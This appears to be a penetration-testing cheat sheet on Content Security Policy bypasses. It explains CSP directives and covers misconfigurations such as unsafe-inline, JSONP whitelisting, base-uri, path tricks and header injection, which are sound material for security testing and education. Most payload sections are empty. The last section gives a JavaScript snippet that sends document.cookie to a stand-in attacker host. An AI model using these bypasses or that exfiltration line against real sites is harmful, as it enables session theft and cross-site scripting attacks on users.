🧰CSP Bypass

To validate the CSP of your application, check out CSP Evaluator.

CSP Directives (policy )

script-src:

Specifies the JavaScript sources that are allowed. Additionally, inline script event handlers (onclick) and XSLT stylesheets (eXtensible Stylesheet Language) that trigger script execution can also be loaded into elements.

default-src:

This directive specifies how resources are fetched by default. The browser follows this directive if fetch directives are not included in the CSP header.

child-src:

This directive specifies what resources web workers and embedded frames can use.

frame-src:

This directive limits the URLs that can be called out as frames.

frame-ancestors:

A directive specifies the sources where this page can be embedded. It applies only to non-HTML resources and can't be used in tags(used to prevent clickjacking attacks).

img-src:

This specifies which sources can be used to load images on the web page.

object-src:

This property defines the allowed sources for the elements object, embed, and widget.

base-uri:

With this element, you can define the allowed URLs for an element to load using.

upgrade-insecure-requests:

By using this directive, browsers are instructed to rewrite URL schemes so that HTTP is replaced by HTTPS. Rewriting old URLs can be beneficial for websites with many old URLs.

sandbox:

The sandbox (document) directive creates a sandbox around the resource, similar to the sandbox attribute. As a result, popups are prevented, plugins and scripts are prohibited, and a same-origin policy is enforced.

Some other CSP directives include: prefetch-src, connect-src, form-action, etc.

----------------------------------------------------------------

Values for CSP Directives

  • *: Except for data: blob: filesystem schemes, any URL can be used.

  • none: No sources are allowed to be loaded in this case.

  • self: A source that defines that resources from the same domain are permitted to be loaded.

  • data: Load resources using the data scheme (e.g. Base64 encoded images)

  • unsafe-eval: This allows you to create code from strings using eval() and window.execScript. This source should not be included in any directives. That's why it's called unsafe.

  • unsafe-hashes: Use this to enable specific event handlers inline.

  • unsafe-inline: This allows using inline resources, such as inline elements, javascript: URLs, and inline event handlers. For security reasons, this is not recommended.

  • nonce: An inline script whitelist that uses a cryptographic nonce (number used once). A nonce value must be unique and generated each time the server transmits a policy.

  • sha256-<hash>: The script has to have a specific SHA256 hash to be whitelisted.

----------------------------------------------------------------

Unsafe Policies

Wildcard(*)

In script-src, a wildcard is used, which results in a misconfigured CSP policy. This means that any source for a given directive is allowed.

Policy Example:

CSP Header

Content-Security-Policy: script-src 'self' https://cobalt.io https: data *;

XSS payloads:

----------------------------------------------------------------

Unsafe eval()

Whitelisted Scheme

This policy remains vulnerable due to unsafe-eval usage despite having the script source set to https://www.cobalt.ioarrow-up-right.

Policy Example:

CSP Header

Content-Security-Policy: script-src https://cobalt.io 'unsafe-eval' data: http://*;

XSS payloads:

----------------------------------------------------------------

Unsafe inline

The best CSP source value for script-src directive we can find since it allows everything we might need: event handlers, javascript pseudo-protocol, and scripts. A simple alert(1) is enough for XSS.

Despite this policy requiring scripts from the Target site, it is vulnerable because the directive uses unsafe-inline.

Policy Example:

CSP Header

Content-Security-Policy: script-src ‘self’ 'unsafe-inline' ;

XSS payloads:

----------------------------------------------------------------

JSONP Callback and Whitelisted the Third Party

In JSONParrow-up-right, the same-origin policy (SOP) is bypassed so you can request and retrieve data from a server without worrying about cross-domain issues.

JavaScript payloads can be injected into JSONP endpoints through GET parameters called "callbacks", and the endpoint will return them to you as JSONarrow-up-right, bypassing SOP(same origin policy). For example, we can send our JavaScript payload via the JSONP endpoint. Below is an example:

The script-src policy can cause problems if a header has one of these endpoints and Domains whitelisted.

There were a bunch of allowed/whitelisted URLs. Thus I scrolled down and started looking for something that might help me bypass the CSP. When I scrolled to the end I got to know that the script-src allowed the YOUTUBE.

The JSONP endpoint would allow us to bypass the CSP policy by loading our malicious JavaScript. There are a number of ready-to-use CSP bypass endpoints available in JSONBeearrow-up-right.

All whitelisted domains are a breach on the respective policy so if we find a way to import a JSONP endpoint with a callback or to include a JS library (with unsafe-eval) too, it will work flawless. An old (also non-verified) list of possible JSONP endpoints with callback for several well-known websites can be found herearrow-up-right.

Policy Example:

CSP header

script-src https://www.google.com https://accounts.google.comarrow-up-right;

The following payload would be loaded because accounts.google.com allows JavaScript files to be loaded. To load our malicious JavaScript, we are abusing the JSONP feature.

XSS payloads:

----------------------------------------------------------------

object-src and default-src

CSP header

Content-Security-Policy: script-src 'self' ;

----------------------------------------------------------------

Angular JS

Whitelisted Domain

The CSP policy can be bypassed if the AngularJSarrow-up-right application loads any scripts from a whitelisted domain. To accomplish this, a callback function and vulnerable class must be called. In addition, a special $event object is defined for AngularJS eventsarrow-up-right, which simply refers to the browser event object. Through this object, you can bypass the CSP.

Policy Example:

CSP header

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

XSS payloads:

----------------------------------------------------------------

File Upload

You can bypass the CSP if you can upload a JS file. There is a high probability that the server validates the uploaded file and allows only the specified file types to be uploaded.

In addition, even if you upload JS code into a file with an extension accepted by the server (e.g. script.png if png extension is allowed), this won't suffice because some servers, like the Apache serverarrow-up-right, determine the MIME typearrow-up-right of the file based on its extension. Chrome browser, for example, rejects Javascript code running in an image.

CSP header

Content-Security-Policy: script-src 'self'; object-src 'none' ;

XSS payloads:

----------------------------------------------------------------

base-uri Bypass

If there’s a running script on the page called with a relative path like /path/script.js after the point of injection, there’s no base URI set in the document and no base-uri directive, there’s a simple bypass for any CSP implemented.

A dangling markup injection can be performed if the base-uri directive is absent in the defined CSP. You can abuse the base tag to obtain an XSS by making the page load a script from your server if the script has a relative path (like /js/app.js). An HTTPS URL should be used if the vulnerable page is loaded over HTTPS.

Policy Example:

CSP header

Content-Security-Policy: script-src 'nonce-abcd1234';

XSS payloads:

if Policy Example Fixed or Predictable Nonce:

Then XSS payloads:

----------------------------------------------------------------

Folder path bypass

When you use the %2f to encode '/' as part of your CSP policy and point it to a folder, it will still be considered part of the folder. That seems to be the case with almost all modern-day browsers.

When the server decodes it, it can be bypassed by using "%2f..%2f", bypassing the folder restriction. For example, you can access http://example.com/company/, and executing http://example.com/company%2f..%2fattacker/file.js will bypass the restriction.

CSP header:

Content-Security-Policy: script-src cobalt.io/safe-directory/

XSS payloads:

----------------------------------------------------------------

Bypassing CSP using IFRAME

Attackers can use Iframes to bypass the below CSP policy. An iframe from the whitelisted domain must be allowed by the application in order to perform the bypass. An XSS attack can be easily facilitated by using the srcdocarrow-up-right attribute of the iframe.

CSP header

Policy Example: default-src 'self' data: *; connect-src 'self'; script-src 'self' ;

XSS payloads:

*** DOM-based XSS Tip ***

In DOM-based injection scenarios, a script used for a CSP bypass might not load so we can use the following to achieve Javascript execution:

XSS vector for when you need to call a script to bypass some "script-src" CSP directive in a DOM-based scenario.

XSS payload:

----------------------------------------------------------------

CSP Injection Bypass

In this case, the input from the user is reflected back in the CSP header. Let's take the following URL as an example:

https://www.cobalt.io?param=payload.

This is what you should see if your input is reflected in the CSP header.

CSP header

script-src payload;

object-src 'none';

base-uri 'none';

script-src can therefore be set to whatever value we want. This value can be easily set to a domain we control, bypassing the CSP.

----------------------------------------------------------------

CSP Data Exfiltration

Even though there’s a strict CSP that prohibits you from interacting with external servers, there are still things you can do to exfiltrate the data regardless of how strict the CSP is.

Location

In order to send the secret information to the attacker's server, you could simply update the location:

var sessionid = document.cookie.split('=')[1] + ".";

document.location = "https://www.attacker-owned-website.com/?" + sessionid;

----------------------------------------------------------------

Last updated